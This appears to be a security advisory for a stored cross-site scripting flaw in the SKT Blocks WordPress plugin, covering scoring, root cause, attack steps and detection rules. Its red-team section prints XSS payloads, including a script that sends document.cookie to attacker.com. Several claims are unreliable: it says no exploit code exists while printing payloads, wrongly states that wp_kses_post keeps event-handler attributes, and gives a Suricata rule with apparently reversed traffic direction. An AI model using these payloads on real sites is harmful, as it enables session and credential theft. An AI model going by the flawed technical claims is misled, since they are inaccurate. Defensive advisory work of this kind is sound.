CVE-2025-46235

Executive Summary

CVE-2025-46235 is a Stored Cross-Site Scripting (XSS) vulnerability in the SKT Blocks WordPress plugin (versions up to and including 2.0) developed by Sktthemes. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim administrator or editor views the compromised content, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed SKT Blocks from untrusted sources may be at higher risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): None (N) – No victim interaction needed beyond viewing the page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to significant impact in a WordPress multisite or admin context.

Deep Dive & Mechanics

The SKT Blocks plugin provides custom Gutenberg blocks for WordPress. The vulnerability exists in the block rendering process where user-supplied attributes (e.g., block settings, captions, or custom CSS) are not properly sanitized before being output in the HTML. An attacker with contributor-level access can create or edit a post containing a malicious SKT Block. When the block is rendered, the injected JavaScript executes in the context of the victim’s browser.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, allowing unescaped HTML/JavaScript in block attributes. The wp_kses_post function does not strip dangerous attributes like onerror or onload by default.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates a new post and adds an SKT Block (e.g., an image or accordion block).
3. Injects a payload like <img src=x onerror=alert(document.cookie)> into a block attribute (e.g., caption or URL).
4. Publishes or saves the post as a draft.
5. Admin or editor views the post – payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (SKT Blocks <= 2.0):

// In block render callback
echo '<div class="skt-block">' . $attributes['caption'] . '</div>';

The $attributes['caption'] is not sanitized or escaped.

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="skt-block">' . esc_html( $attributes['caption'] ) . '</div>';

Or use wp_kses_post with allowed HTML tags only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with SKT Blocks <= 2.0 installed and activated.
• Contributor-level account credentials.

Steps:

1. Log in as contributor.
2. Create a new post.
3. Add an SKT Block (e.g., "Image" block).
4. In the "Caption" field, inject:

   <img src=x onerror=alert('XSS')>
   

5. Publish the post.
6. When an admin views the post, the alert fires.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing <script> tags or event handlers in block attributes.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor roles from using custom blocks via user role editor.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• File: Modified posts in wp_posts table containing <script> or event handler attributes.
• Log: WordPress debug log entries showing wp_kses_post failures or unescaped output.
• Browser: Unexpected pop-ups or redirects when viewing posts with SKT Blocks.

Detection Engineering

YARA Rule

rule CVE_2025_46235_SKT_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in SKT Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46235"
    strings:
        $xss1 = /<[^>]*\s+on\w+\s*=\s*['"][^'"]*['"]/i
        $xss2 = /<script[^>]*>.*?<\/script>/is
        $block_attr = /skt-blocks/
    condition:
        $block_attr and ($xss1 or $xss2)
}

Sigma Rule

title: Stored XSS via SKT Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using SKT Blocks
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46235 SKT Blocks Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"skt-blocks"; http_client_body; pcre:"/<[^>]*\s+on\w+\s*=\s*['\"][^'\"]*['\"]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit existing posts for malicious content using the YARA rule above.
3. Restrict contributor roles from using custom blocks via user role editor.

Long-term Fix:

• Apply input sanitization using esc_html() or wp_kses() with a whitelist of allowed tags.
• Update to a patched version once released by the vendor.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in post content.
• Implement Content Security Policy (CSP) header: default-src 'self'; script-src 'self'.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert